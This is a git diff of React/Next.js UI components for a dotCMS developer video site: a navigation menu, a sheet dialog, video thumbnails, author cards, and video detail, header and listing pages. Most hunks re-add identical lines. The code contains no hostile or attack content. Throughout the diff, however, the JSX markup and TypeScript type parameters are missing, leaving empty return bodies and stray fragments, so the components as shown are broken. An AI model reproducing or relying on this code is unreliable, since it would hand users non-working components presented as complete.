+ 'group inline-flex h-10 w-max items-center justify-center rounded-md bg-background px-4 py-2 text-sm font-medium transition-colors hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground focus:outline-none disabled:pointer-events-none disabled:opacity-50 data-[active]:bg-accent/50 data-[state=open]:bg-accent/50'
+);
+
+const NavigationMenuTrigger = React.forwardRef<
+ React.ElementRef,
+ React.ComponentPropsWithoutRef
+>(({ className, children, ...props }, ref) => (
+
+ {children}{' '}
+
+
+));
+NavigationMenuTrigger.displayName = NavigationMenuPrimitive.Trigger.displayName;
+
+const NavigationMenuContent = React.forwardRef<
+ React.ElementRef,
+ React.ComponentPropsWithoutRef
+>(({ className, ...props }, ref) => (
+
+));
+NavigationMenuContent.displayName = NavigationMenuPrimitive.Content.displayName;
+
+const NavigationMenuLink = NavigationMenuPrimitive.Link;
+
+const NavigationMenuViewport = React.forwardRef<
+ React.ElementRef,
+ React.ComponentPropsWithoutRef
+>(({ className, ...props }, ref) => (
+
+
+
+));
+NavigationMenuViewport.displayName =
+ NavigationMenuPrimitive.Viewport.displayName;
+
+const NavigationMenuIndicator = React.forwardRef<
+ React.ElementRef,
+ React.ComponentPropsWithoutRef
+>(({ className, ...props }, ref) => (
+
+
+
+));
+NavigationMenuIndicator.displayName =
+ NavigationMenuPrimitive.Indicator.displayName;
+
+export {
+ navigationMenuTriggerStyle,
+ NavigationMenu,
+ NavigationMenuList,
+ NavigationMenuItem,
+ NavigationMenuContent,
+ NavigationMenuTrigger,
+ NavigationMenuLink,
+ NavigationMenuIndicator,
+ NavigationMenuViewport,
+};
diff --git a/components/ui/sheet.tsx b/components/ui/sheet.tsx
index ff6b752..4ea3552 100644
--- a/components/ui/sheet.tsx
+++ b/components/ui/sheet.tsx
@@ -1,140 +1,140 @@
-'use client';
-
-import * as React from 'react';
-import * as SheetPrimitive from '@radix-ui/react-dialog';
-import { cva, type VariantProps } from 'class-variance-authority';
-import { X } from 'lucide-react';
-
-import { cn } from '@/util/utils';
-
-const Sheet = SheetPrimitive.Root;
-
-const SheetTrigger = SheetPrimitive.Trigger;
-
-const SheetClose = SheetPrimitive.Close;
-
-const SheetPortal = SheetPrimitive.Portal;
-
-const SheetOverlay = React.forwardRef<
- React.ElementRef,
- React.ComponentPropsWithoutRef
->(({ className, ...props }, ref) => (
-
-));
-SheetOverlay.displayName = SheetPrimitive.Overlay.displayName;
-
-const sheetVariants = cva(
- 'fixed z-50 gap-4 bg-background p-6 shadow-lg transition ease-in-out data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:duration-300 data-[state=open]:duration-500',
- {
- variants: {
- side: {
- top: 'inset-x-0 top-0 border-b data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top',
- bottom:
- 'inset-x-0 bottom-0 border-t data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom',
- left: 'inset-y-0 left-0 h-full w-3/4 border-r data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left sm:max-w-sm',
- right:
- 'inset-y-0 right-0 h-full w-3/4 border-l data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right sm:max-w-sm',
- },
- },
- defaultVariants: {
- side: 'right',
- },
- }
-);
-
-interface SheetContentProps
- extends React.ComponentPropsWithoutRef,
- VariantProps {}
-
-const SheetContent = React.forwardRef<
- React.ElementRef,
- SheetContentProps
->(({ side = 'right', className, children, ...props }, ref) => (
-
-
-
- {children}
-
-
- Close
-
-
-
-));
-SheetContent.displayName = SheetPrimitive.Content.displayName;
-
-const SheetHeader = ({
- className,
- ...props
-}: React.HTMLAttributes) => (
-
-);
-SheetHeader.displayName = 'SheetHeader';
-
-const SheetFooter = ({
- className,
- ...props
-}: React.HTMLAttributes) => (
-
-);
-SheetFooter.displayName = 'SheetFooter';
-
-const SheetTitle = React.forwardRef<
- React.ElementRef,
- React.ComponentPropsWithoutRef
->(({ className, ...props }, ref) => (
-
-));
-SheetTitle.displayName = SheetPrimitive.Title.displayName;
-
-const SheetDescription = React.forwardRef<
- React.ElementRef,
- React.ComponentPropsWithoutRef
->(({ className, ...props }, ref) => (
-
-));
-SheetDescription.displayName = SheetPrimitive.Description.displayName;
-
-export {
- Sheet,
- SheetPortal,
- SheetOverlay,
- SheetTrigger,
- SheetClose,
- SheetContent,
- SheetHeader,
- SheetFooter,
- SheetTitle,
- SheetDescription,
-};
+'use client';
+
+import * as React from 'react';
+import * as SheetPrimitive from '@radix-ui/react-dialog';
+import { cva, type VariantProps } from 'class-variance-authority';
+import { X } from 'lucide-react';
+
+import { cn } from '@/util/utils';
+
+const Sheet = SheetPrimitive.Root;
+
+const SheetTrigger = SheetPrimitive.Trigger;
+
+const SheetClose = SheetPrimitive.Close;
+
+const SheetPortal = SheetPrimitive.Portal;
+
+const SheetOverlay = React.forwardRef<
+ React.ElementRef,
+ React.ComponentPropsWithoutRef
+>(({ className, ...props }, ref) => (
+
+));
+SheetOverlay.displayName = SheetPrimitive.Overlay.displayName;
+
+const sheetVariants = cva(
+ 'fixed z-50 gap-4 bg-background p-6 shadow-lg transition ease-in-out data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:duration-300 data-[state=open]:duration-500',
+ {
+ variants: {
+ side: {
+ top: 'inset-x-0 top-0 border-b data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top',
+ bottom:
+ 'inset-x-0 bottom-0 border-t data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom',
+ left: 'inset-y-0 left-0 h-full w-3/4 border-r data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left sm:max-w-sm',
+ right:
+ 'inset-y-0 right-0 h-full w-3/4 border-l data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right sm:max-w-sm',
+ },
+ },
+ defaultVariants: {
+ side: 'right',
+ },
+ }
+);
+
+interface SheetContentProps
+ extends React.ComponentPropsWithoutRef,
+ VariantProps {}
+
+const SheetContent = React.forwardRef<
+ React.ElementRef,
+ SheetContentProps
+>(({ side = 'right', className, children, ...props }, ref) => (
+
+
+
+ {children}
+
+
+ Close
+
+
+
+));
+SheetContent.displayName = SheetPrimitive.Content.displayName;
+
+const SheetHeader = ({
+ className,
+ ...props
+}: React.HTMLAttributes) => (
+
+);
+SheetHeader.displayName = 'SheetHeader';
+
+const SheetFooter = ({
+ className,
+ ...props
+}: React.HTMLAttributes) => (
+
+);
+SheetFooter.displayName = 'SheetFooter';
+
+const SheetTitle = React.forwardRef<
+ React.ElementRef,
+ React.ComponentPropsWithoutRef
+>(({ className, ...props }, ref) => (
+
+));
+SheetTitle.displayName = SheetPrimitive.Title.displayName;
+
+const SheetDescription = React.forwardRef<
+ React.ElementRef,
+ React.ComponentPropsWithoutRef
+>(({ className, ...props }, ref) => (
+
+));
+SheetDescription.displayName = SheetPrimitive.Description.displayName;
+
+export {
+ Sheet,
+ SheetPortal,
+ SheetOverlay,
+ SheetTrigger,
+ SheetClose,
+ SheetContent,
+ SheetHeader,
+ SheetFooter,
+ SheetTitle,
+ SheetDescription,
+};
diff --git a/components/videos/VideoImage.tsx b/components/videos/VideoImage.tsx
index 39c0005..bdaf1de 100644
--- a/components/videos/VideoImage.tsx
+++ b/components/videos/VideoImage.tsx
@@ -1,151 +1,151 @@
-'use client';
-
-import React, { useEffect, useRef, useState } from 'react';
-import { ImageOff } from 'lucide-react';
-import Image from 'next/image';
-
-function extractAssetId(uri: string) {
- const match = uri.match(/\/dA\/([^/]+)/);
- return match ? match[1] : null;
-}
-
-interface AssetInfo {
- mime?: string;
- title?: string;
- idPath?: string;
- size?: number;
- name?: string;
- width?: number;
- height?: number;
-}
-
-interface VideoImageProps {
- post: {
- thumbnail?: AssetInfo;
- asset?: AssetInfo;
- teaser?: string;
- title: string;
- // Legacy support for old structure
- image?: {
- fileAsset?: {
- idPath: string;
- };
- };
- };
-}
-
-export default function VideoImage({ post }: VideoImageProps) {
- const [hasError, setHasError] = useState(false);
- const [videoFrameUrl, setVideoFrameUrl] = useState(null);
- const videoRef = useRef(null);
-
- // Determine which asset to use as thumbnail
- const thumbnail = post.thumbnail;
- const isVideoThumbnail = thumbnail?.mime?.startsWith('video/');
-
- // Extract asset ID for image URLs
- const assetId = thumbnail?.idPath ? extractAssetId(thumbnail.idPath) : null;
-
- // Extract first frame from video if needed
- useEffect(() => {
- if (isVideoThumbnail && videoRef.current && !videoFrameUrl) {
- const handleLoadedMetadata = () => {
- // Seek to the first frame
- videoRef.current!.currentTime = 0.1;
- };
-
- const handleSeeked = () => {
- // Capture the frame
- const canvas = document.createElement('canvas');
- canvas.width = videoRef.current!.videoWidth;
- canvas.height = videoRef.current!.videoHeight;
- const ctx = canvas.getContext('2d');
- if (ctx) {
- ctx.drawImage(videoRef.current!, 0, 0);
- const frameUrl = canvas.toDataURL('image/jpeg');
- setVideoFrameUrl(frameUrl);
- }
- // Remove event listeners after capture
- videoRef.current?.removeEventListener('loadedmetadata', handleLoadedMetadata);
- videoRef.current?.removeEventListener('seeked', handleSeeked);
- };
-
- const video = videoRef.current;
- video.addEventListener('loadedmetadata', handleLoadedMetadata);
- video.addEventListener('seeked', handleSeeked);
-
- return () => {
- video.removeEventListener('loadedmetadata', handleLoadedMetadata);
- video.removeEventListener('seeked', handleSeeked);
- };
- }
- }, [isVideoThumbnail, videoFrameUrl]);
-
- // Fallback to legacy image structure
- const legacyAssetId = !assetId && post.image?.fileAsset?.idPath
- ? extractAssetId(post.image.fileAsset.idPath)
- : null;
- const finalAssetId = assetId || legacyAssetId;
-
- if (!finalAssetId && !videoFrameUrl) {
- if (hasError || !thumbnail) {
- return (
-
-
-
- );
- }
- }
-
- // Show video frame if available
- if (videoFrameUrl) {
- return (
-
-
-
- );
- }
-
- // Show image thumbnail if it's an image
- if (finalAssetId && !isVideoThumbnail) {
- return (
-
- setHasError(true)}
- />
-
- );
- }
-
- // Hidden video element to capture first frame
- if (isVideoThumbnail && finalAssetId && !videoFrameUrl) {
- return (
- <>
-
-
-
-
- >
- );
- }
-
- return (
-
-
-
- );
-}
+'use client';
+
+import React, { useEffect, useRef, useState } from 'react';
+import { ImageOff } from 'lucide-react';
+import Image from 'next/image';
+
+function extractAssetId(uri: string) {
+ const match = uri.match(/\/dA\/([^/]+)/);
+ return match ? match[1] : null;
+}
+
+interface AssetInfo {
+ mime?: string;
+ title?: string;
+ idPath?: string;
+ size?: number;
+ name?: string;
+ width?: number;
+ height?: number;
+}
+
+interface VideoImageProps {
+ post: {
+ thumbnail?: AssetInfo;
+ asset?: AssetInfo;
+ teaser?: string;
+ title: string;
+ // Legacy support for old structure
+ image?: {
+ fileAsset?: {
+ idPath: string;
+ };
+ };
+ };
+}
+
+export default function VideoImage({ post }: VideoImageProps) {
+ const [hasError, setHasError] = useState(false);
+ const [videoFrameUrl, setVideoFrameUrl] = useState(null);
+ const videoRef = useRef(null);
+
+ // Determine which asset to use as thumbnail
+ const thumbnail = post.thumbnail;
+ const isVideoThumbnail = thumbnail?.mime?.startsWith('video/');
+
+ // Extract asset ID for image URLs
+ const assetId = thumbnail?.idPath ? extractAssetId(thumbnail.idPath) : null;
+
+ // Extract first frame from video if needed
+ useEffect(() => {
+ if (isVideoThumbnail && videoRef.current && !videoFrameUrl) {
+ const handleLoadedMetadata = () => {
+ // Seek to the first frame
+ videoRef.current!.currentTime = 0.1;
+ };
+
+ const handleSeeked = () => {
+ // Capture the frame
+ const canvas = document.createElement('canvas');
+ canvas.width = videoRef.current!.videoWidth;
+ canvas.height = videoRef.current!.videoHeight;
+ const ctx = canvas.getContext('2d');
+ if (ctx) {
+ ctx.drawImage(videoRef.current!, 0, 0);
+ const frameUrl = canvas.toDataURL('image/jpeg');
+ setVideoFrameUrl(frameUrl);
+ }
+ // Remove event listeners after capture
+ videoRef.current?.removeEventListener('loadedmetadata', handleLoadedMetadata);
+ videoRef.current?.removeEventListener('seeked', handleSeeked);
+ };
+
+ const video = videoRef.current;
+ video.addEventListener('loadedmetadata', handleLoadedMetadata);
+ video.addEventListener('seeked', handleSeeked);
+
+ return () => {
+ video.removeEventListener('loadedmetadata', handleLoadedMetadata);
+ video.removeEventListener('seeked', handleSeeked);
+ };
+ }
+ }, [isVideoThumbnail, videoFrameUrl]);
+
+ // Fallback to legacy image structure
+ const legacyAssetId = !assetId && post.image?.fileAsset?.idPath
+ ? extractAssetId(post.image.fileAsset.idPath)
+ : null;
+ const finalAssetId = assetId || legacyAssetId;
+
+ if (!finalAssetId && !videoFrameUrl) {
+ if (hasError || !thumbnail) {
+ return (
+
+
+
+ );
+ }
+ }
+
+ // Show video frame if available
+ if (videoFrameUrl) {
+ return (
+
+
+
+ );
+ }
+
+ // Show image thumbnail if it's an image
+ if (finalAssetId && !isVideoThumbnail) {
+ return (
+
+ setHasError(true)}
+ />
+
+ );
+ }
+
+ // Hidden video element to capture first frame
+ if (isVideoThumbnail && finalAssetId && !videoFrameUrl) {
+ return (
+ <>
+
+
+
+
+ >
+ );
+ }
+
+ return (
+
+
+
+ );
+}
diff --git a/components/videos/authors.js b/components/videos/authors.js
index 376b5f0..a986d5e 100644
--- a/components/videos/authors.js
+++ b/components/videos/authors.js
@@ -1,45 +1,45 @@
-import React from "react";
-import Image from "next/image";
-
-function Authors({ authors }) {
- if (authors && authors.length > 0) {
- return (
- <>
- {authors.map((author) => (
-
-
-
-
-
- {author?.firstName && (
-
- {author?.firstName} {author?.lastName}
-
- )}
-
- {author?.title && author?.title + " "}
- {author?.company && author?.company}
-
-
-
- ))}
-
- >
- );
- }
-
- return null;
-}
-
-export default Authors;
+import React from "react";
+import Image from "next/image";
+
+function Authors({ authors }) {
+ if (authors && authors.length > 0) {
+ return (
+ <>
+ {authors.map((author) => (
+
+
+
+
+
+ {author?.firstName && (
+
+ {author?.firstName} {author?.lastName}
+
+ )}
+
+ {author?.title && author?.title + " "}
+ {author?.company && author?.company}
+
+
+
+ ))}
+
+ >
+ );
+ }
+
+ return null;
+}
+
+export default Authors;
diff --git a/components/videos/video-detail.js b/components/videos/video-detail.js
index 991fb0f..a3ad243 100644
--- a/components/videos/video-detail.js
+++ b/components/videos/video-detail.js
@@ -1,154 +1,154 @@
-"use client";
-
-import Link from 'next/link';
-import OnThisPage from '@/components/navigation/OnThisPage';
-import React from 'react';
-import { DetailHeader } from './video-header';
-import Authors from './authors';
-import VideoComponent from "./video-component";
-import { Config } from "@/util/config";
-
-/**
- * Extract asset ID from a dotCMS asset path
- */
-function extractAssetId(uri) {
- if (!uri) return null;
- const match = uri.match(/\/dA\/([^/]+)/);
- return match ? match[1] : null;
-}
-
-/**
- * Check if the body contains a specific element type (like headings)
- */
-const checkForType = (json, type) => {
- if (!json) return false;
-
- function traverse(node) {
- // Return true if current node matches the type
- if (node.type && node.type.toLowerCase() === type.toLowerCase()) {
- return true;
- }
-
- // Check child nodes if they exist
- if (node.content && Array.isArray(node.content)) {
- return node.content.some(child => traverse(child));
- }
-
- return false;
- }
-
- return traverse(json);
-};
-
-/**
- * Parse control tags from tags array
- * Returns an object with boolean flags for each control option
- */
-const parseControlTags = (tags) => {
- const tagSet = new Set((tags || []).map(tag => tag.toLowerCase()));
- return {
- autoplay: tagSet.has('autoplay'),
- muted: tagSet.has('muted'),
- loop: tagSet.has('loop'),
- nocontrols: tagSet.has('nocontrols'),
- };
-};
-
-/**
- * Video Player Component - renders the actual video asset
- * Control tags (autoplay, muted, loop, nocontrols) affect video behavior
- */
-const VideoPlayer = ({ asset, thumbnail, tags }) => {
- if (!asset?.idPath) return null;
-
- const isVideo = asset.mime?.startsWith('video/');
- const thumbnailAssetId = thumbnail?.idPath ? extractAssetId(thumbnail.idPath) : null;
-
- // Parse control tags
- const controls = parseControlTags(tags);
-
- if (isVideo) {
- // Use CDN host for video assets
- const cdnHost = Config.CDNHost || '';
- // Use the idPath and URL-encode the filename portion to handle spaces and special characters
- // The idPath format is /dA/{id}/asset/{filename}?language_id=1
- const encodedIdPath = asset.idPath.split('/').map((part, index) =>
- // Encode the filename part (usually index 4: /dA/id/asset/filename)
- index >= 4 && !part.includes('?') ? encodeURIComponent(part) :
- part.includes('?') ? encodeURIComponent(part.split('?')[0]) + '?' + part.split('?')[1] : part
- ).join('/');
- const videoSrc = `${cdnHost}${encodedIdPath}`;
- console.debug("videoSrc:", videoSrc)
- const posterSrc = thumbnailAssetId ? `${cdnHost}/dA/${thumbnailAssetId}/thumbnail/70q/1000maxw` : undefined;
-
- return (
-
-
-
- Your browser does not support the video tag.
-
-
- );
- }
-
- return null;
-};
-
-export default function VideoDetailComponent({ post }) {
- // Handle both Video and DevResource body structures
- const body = post.body?.json || post.body || post.description?.json || post.description;
-
- // Check if content has headings for the sidebar
- const hasHeadings = body ? checkForType(body, "heading") : false;
-
- // Check if this is a Video content type with a video asset
- const hasVideoAsset = post.contentType === 'video' && post.asset?.mime?.startsWith('video/');
-
- return (
-
- {/* Main Content Grid */}
-
- {/* Main Content */}
-
-
-
-
- {/* Render video player for Video content type */}
- {hasVideoAsset && (
-
- )}
-
- {/* Render body content (block editor content) */}
- {body && (
-
- )}
-
-
-
- {/* Right Sidebar - Only show if there are headings or author info */}
- {(hasHeadings || post.author) && (
-
-
- {post.author &&
}
- {hasHeadings && (
-
- )}
-
-
- )}
-
-
- );
-}
+"use client";
+
+import Link from 'next/link';
+import OnThisPage from '@/components/navigation/OnThisPage';
+import React from 'react';
+import { DetailHeader } from './video-header';
+import Authors from './authors';
+import VideoComponent from "./video-component";
+import { Config } from "@/util/config";
+
+/**
+ * Extract asset ID from a dotCMS asset path
+ */
+function extractAssetId(uri) {
+ if (!uri) return null;
+ const match = uri.match(/\/dA\/([^/]+)/);
+ return match ? match[1] : null;
+}
+
+/**
+ * Check if the body contains a specific element type (like headings)
+ */
+const checkForType = (json, type) => {
+ if (!json) return false;
+
+ function traverse(node) {
+ // Return true if current node matches the type
+ if (node.type && node.type.toLowerCase() === type.toLowerCase()) {
+ return true;
+ }
+
+ // Check child nodes if they exist
+ if (node.content && Array.isArray(node.content)) {
+ return node.content.some(child => traverse(child));
+ }
+
+ return false;
+ }
+
+ return traverse(json);
+};
+
+/**
+ * Parse control tags from tags array
+ * Returns an object with boolean flags for each control option
+ */
+const parseControlTags = (tags) => {
+ const tagSet = new Set((tags || []).map(tag => tag.toLowerCase()));
+ return {
+ autoplay: tagSet.has('autoplay'),
+ muted: tagSet.has('muted'),
+ loop: tagSet.has('loop'),
+ nocontrols: tagSet.has('nocontrols'),
+ };
+};
+
+/**
+ * Video Player Component - renders the actual video asset
+ * Control tags (autoplay, muted, loop, nocontrols) affect video behavior
+ */
+const VideoPlayer = ({ asset, thumbnail, tags }) => {
+ if (!asset?.idPath) return null;
+
+ const isVideo = asset.mime?.startsWith('video/');
+ const thumbnailAssetId = thumbnail?.idPath ? extractAssetId(thumbnail.idPath) : null;
+
+ // Parse control tags
+ const controls = parseControlTags(tags);
+
+ if (isVideo) {
+ // Use CDN host for video assets
+ const cdnHost = Config.CDNHost || '';
+ // Use the idPath and URL-encode the filename portion to handle spaces and special characters
+ // The idPath format is /dA/{id}/asset/{filename}?language_id=1
+ const encodedIdPath = asset.idPath.split('/').map((part, index) =>
+ // Encode the filename part (usually index 4: /dA/id/asset/filename)
+ index >= 4 && !part.includes('?') ? encodeURIComponent(part) :
+ part.includes('?') ? encodeURIComponent(part.split('?')[0]) + '?' + part.split('?')[1] : part
+ ).join('/');
+ const videoSrc = `${cdnHost}${encodedIdPath}`;
+ console.debug("videoSrc:", videoSrc)
+ const posterSrc = thumbnailAssetId ? `${cdnHost}/dA/${thumbnailAssetId}/thumbnail/70q/1000maxw` : undefined;
+
+ return (
+
+
+
+ Your browser does not support the video tag.
+
+
+ );
+ }
+
+ return null;
+};
+
+export default function VideoDetailComponent({ post }) {
+ // Handle both Video and DevResource body structures
+ const body = post.body?.json || post.body || post.description?.json || post.description;
+
+ // Check if content has headings for the sidebar
+ const hasHeadings = body ? checkForType(body, "heading") : false;
+
+ // Check if this is a Video content type with a video asset
+ const hasVideoAsset = post.contentType === 'video' && post.asset?.mime?.startsWith('video/');
+
+ return (
+
+ {/* Main Content Grid */}
+
+ {/* Main Content */}
+
+
+
+
+ {/* Render video player for Video content type */}
+ {hasVideoAsset && (
+
+ )}
+
+ {/* Render body content (block editor content) */}
+ {body && (
+
+ )}
+
+
+
+ {/* Right Sidebar - Only show if there are headings or author info */}
+ {(hasHeadings || post.author) && (
+
+
+ {post.author &&
}
+ {hasHeadings && (
+
+ )}
+
+
+ )}
+
+
+ );
+}
diff --git a/components/videos/video-header.js b/components/videos/video-header.js
index 2b3a2f6..7a28877 100644
--- a/components/videos/video-header.js
+++ b/components/videos/video-header.js
@@ -1,167 +1,167 @@
-'use client';
-
-import { usePathname } from 'next/navigation';
-import React, { useEffect, useState } from 'react';
-import SocialMediaShare from '@/components/shared/socialMediaShare';
-import { cn } from '@/util/utils';
-import { Calendar, Tag as TagIcon, ArrowLeft, Video, BookOpen } from 'lucide-react';
-import { format } from "date-fns";
-import Link from 'next/link';
-import Image from 'next/image';
-
-function extractAssetId(uri) {
- if (!uri) return null;
- const match = uri.match(/\/dA\/([^/]+)/);
- return match ? match[1] : null;
-}
-
-export const DetailHeader = ({
- post,
-}) => {
- // Handle both publishDate and postingDate
- const dateValue = post.publishDate || post.postingDate;
- const formattedDate = dateValue ? format(new Date(dateValue), 'MMMM dd, yyyy') : '';
- const pathname = usePathname();
- const [url, setUrl] = useState('');
- const [imageExists, setImageExists] = useState(true);
-
- // Handle different image structures:
- // - Video content type: post.thumbnail?.idPath or post.asset?.idPath
- // - DevResource content type: post.image?.idPath
- // - Legacy structure: post.image?.fileAsset?.versionPath
- const imageIdPath = post.thumbnail?.idPath ||
- post.image?.idPath ||
- post.asset?.idPath ||
- post.image?.fileAsset?.versionPath;
- const imageAssetId = extractAssetId(imageIdPath);
-
- useEffect(() => {
- // Handle cases where host info may not be available
- const hostname = post.host?.hostname || 'dev.dotcms.com';
- const urlString = new URL(pathname, `https://${hostname}`);
- setUrl(urlString);
- }, [pathname, post.host?.hostname]);
-
- // Check if the image exists (not a 404)
- useEffect(() => {
- if (!imageAssetId) {
- setImageExists(false);
- return;
- }
-
- const checkImageExists = async () => {
- setImageExists(false);
- return;
- try {
- const response = await fetch(`/dA/${imageAssetId}/thumbnail/70q/1000maxw`, {
- method: 'HEAD'
- });
- setImageExists(response.ok);
- } catch (error) {
- setImageExists(false);
- }
- };
-
- checkImageExists();
- }, [imageAssetId]);
-
- // Get categories - may be null for DevResource content type
- const categories = post.categories || [];
-
- return (
-
- {/* Back Button Column */}
-
-
- {post.title}
-
-
- {/* Teaser/Description */}
- {post.teaser && (
-
- {post.teaser}
-
- )}
-
- {/* Meta Information */}
-
- {/* Content Type Chip */}
- {post.contentType === 'video' ? (
-
-
- Video
-
- ) : (
-
-
- DevResource
-
- )}
- {formattedDate && (
-
-
- {formattedDate}
-
- )}
- {categories.length > 0 && (
-
- {categories.map((category) => (
-
- {category.name}
-
- ))}
-
- )}
-
-
- {/* Featured Image - only show if image exists (not 404) */}
- {imageAssetId && imageExists && (
-
-
-
- )}
-
- {/* Tags - filter out video control tags (autoplay, muted, nocontrols, loop) */}
- {post.tags && post.tags.length > 0 && (
-
-
- {post.tags
- .filter(tag => !['autoplay', 'muted', 'nocontrols', 'loop'].includes(tag.toLowerCase()))
- .map((tag, index) => (
-
-
- {tag}
-
- ))}
-
-
- )}
-
- 0 || !!post.author }
- )}>
- {url && }
-
-
- );
-};
+'use client';
+
+import { usePathname } from 'next/navigation';
+import React, { useEffect, useState } from 'react';
+import SocialMediaShare from '@/components/shared/socialMediaShare';
+import { cn } from '@/util/utils';
+import { Calendar, Tag as TagIcon, ArrowLeft, Video, BookOpen } from 'lucide-react';
+import { format } from "date-fns";
+import Link from 'next/link';
+import Image from 'next/image';
+
+function extractAssetId(uri) {
+ if (!uri) return null;
+ const match = uri.match(/\/dA\/([^/]+)/);
+ return match ? match[1] : null;
+}
+
+export const DetailHeader = ({
+ post,
+}) => {
+ // Handle both publishDate and postingDate
+ const dateValue = post.publishDate || post.postingDate;
+ const formattedDate = dateValue ? format(new Date(dateValue), 'MMMM dd, yyyy') : '';
+ const pathname = usePathname();
+ const [url, setUrl] = useState('');
+ const [imageExists, setImageExists] = useState(true);
+
+ // Handle different image structures:
+ // - Video content type: post.thumbnail?.idPath or post.asset?.idPath
+ // - DevResource content type: post.image?.idPath
+ // - Legacy structure: post.image?.fileAsset?.versionPath
+ const imageIdPath = post.thumbnail?.idPath ||
+ post.image?.idPath ||
+ post.asset?.idPath ||
+ post.image?.fileAsset?.versionPath;
+ const imageAssetId = extractAssetId(imageIdPath);
+
+ useEffect(() => {
+ // Handle cases where host info may not be available
+ const hostname = post.host?.hostname || 'dev.dotcms.com';
+ const urlString = new URL(pathname, `https://${hostname}`);
+ setUrl(urlString);
+ }, [pathname, post.host?.hostname]);
+
+ // Check if the image exists (not a 404)
+ useEffect(() => {
+ if (!imageAssetId) {
+ setImageExists(false);
+ return;
+ }
+
+ const checkImageExists = async () => {
+ setImageExists(false);
+ return;
+ try {
+ const response = await fetch(`/dA/${imageAssetId}/thumbnail/70q/1000maxw`, {
+ method: 'HEAD'
+ });
+ setImageExists(response.ok);
+ } catch (error) {
+ setImageExists(false);
+ }
+ };
+
+ checkImageExists();
+ }, [imageAssetId]);
+
+ // Get categories - may be null for DevResource content type
+ const categories = post.categories || [];
+
+ return (
+
+ {/* Back Button Column */}
+
+
+ {post.title}
+
+
+ {/* Teaser/Description */}
+ {post.teaser && (
+
+ {post.teaser}
+
+ )}
+
+ {/* Meta Information */}
+
+ {/* Content Type Chip */}
+ {post.contentType === 'video' ? (
+
+
+ Video
+
+ ) : (
+
+
+ DevResource
+
+ )}
+ {formattedDate && (
+
+
+ {formattedDate}
+
+ )}
+ {categories.length > 0 && (
+
+ {categories.map((category) => (
+
+ {category.name}
+
+ ))}
+
+ )}
+
+
+ {/* Featured Image - only show if image exists (not 404) */}
+ {imageAssetId && imageExists && (
+
+
+
+ )}
+
+ {/* Tags - filter out video control tags (autoplay, muted, nocontrols, loop) */}
+ {post.tags && post.tags.length > 0 && (
+
+
+ {post.tags
+ .filter(tag => !['autoplay', 'muted', 'nocontrols', 'loop'].includes(tag.toLowerCase()))
+ .map((tag, index) => (
+
+
+ {tag}
+
+ ))}
+
+
+ )}
+
+ 0 || !!post.author }
+ )}>
+ {url && }
+
+
+ );
+};
diff --git a/components/videos/video-listing.js b/components/videos/video-listing.js
index 7dd2d56..6fb7cbc 100644
--- a/components/videos/video-listing.js
+++ b/components/videos/video-listing.js
@@ -1,175 +1,175 @@
-import React from 'react';
-import Link from 'next/link';
-import { format } from 'date-fns';
-import { ArrowLeft, Calendar, Video, BookOpen } from 'lucide-react';
-import TagCloud from '@/components/shared/TagCloud';
-import { getTagsByLuceneQuery } from "@/services/getTags";
-import { VIDEO_LISTING_LUCENE_QUERY, DEVRESOURCE_VIDEO_LUCENE_QUERY } from '@/services/video/getVideos';
-import PaginationBar from '../PaginationBar';
-import VideoImage from './VideoImage';
-
-const VideoCard = ({ post }) => {
- const formattedDate = format(new Date(post.publishDate), 'MMMM d, yyyy');
-
- // Prepare thumbnail data, handling both image and video thumbnails
- const videoData = {
- ...post,
- teaser: post.teaser || post.title,
- };
-
- // Route all video content (both Video and DevResource types) to the unified video detail page
- const videoLink = `/videos/${post.slug || post.urlTitle}`;
-
- return (
-
-
-
-
-
-
- {/* Content Type Chip */}
- {post.contentType === 'video' ? (
-
-
- Video
-
- ) : (
-
-
- DevResource
-
- )}
-
-
-
- {formattedDate}
-
-
-
-
-
- {post.title}
-
-
-
- {post.teaser}
-
- {post.tags && post.tags.length > 0 && (
-
- {post.tags.map((tag) => (
-
- {tag}
-
- ))}
-
- )}
-
-
- );
-};
-
-/**
- * Merge and deduplicate tag buckets from multiple sources
- * Combines doc_count for duplicate tags
- */
-const mergeTagBuckets = (tagBuckets1, tagBuckets2) => {
- const tagMap = new Map();
-
- // Add tags from first source
- for (const tag of tagBuckets1) {
- tagMap.set(tag.key, { key: tag.key, doc_count: tag.doc_count });
- }
-
- // Merge tags from second source
- for (const tag of tagBuckets2) {
- if (tagMap.has(tag.key)) {
- // Add doc_count if tag exists
- tagMap.get(tag.key).doc_count += tag.doc_count;
- } else {
- tagMap.set(tag.key, { key: tag.key, doc_count: tag.doc_count });
- }
- }
-
- // Convert back to array and sort by doc_count descending
- return Array.from(tagMap.values())
- .sort((a, b) => b.doc_count - a.doc_count);
-};
-
-export default async function VideoListing({ videos, pagination, tagFilter }) {
- // Fetch tags from both Video and DevResource content types
- const [videoTags, devResourceTags] = await Promise.all([
- getTagsByLuceneQuery(VIDEO_LISTING_LUCENE_QUERY, 30),
- getTagsByLuceneQuery(DEVRESOURCE_VIDEO_LUCENE_QUERY, 30)
- ]);
-
- // Merge tags from both sources
- const allTags = mergeTagBuckets(videoTags, devResourceTags);
- const tagFilterQueryParam = tagFilter && tagFilter.length > 0 ? "tagFilter=" + tagFilter : "";
-
- // Filter out specific tags that should not be displayed
- // allTags is an array of bucket objects with { key: string, doc_count: number }
- const hiddenTags = ['autoplay', 'loop', 'muted', 'nocontrols'];
- const filteredTags = allTags.filter(tag => !hiddenTags.includes(tag.key.toLowerCase()));
-
- return (
-
-
-
-
- dotCMS Developer Videos
-
- Videos for the dotDeveloper.
-
-
-
-
Back to Learning Center
-
-
-
-
-
-
- {videos.map((post) => (
-
- ))}
-
-
-
-
-
-
-
-
-
-
- );
-}
+import React from 'react';
+import Link from 'next/link';
+import { format } from 'date-fns';
+import { ArrowLeft, Calendar, Video, BookOpen } from 'lucide-react';
+import TagCloud from '@/components/shared/TagCloud';
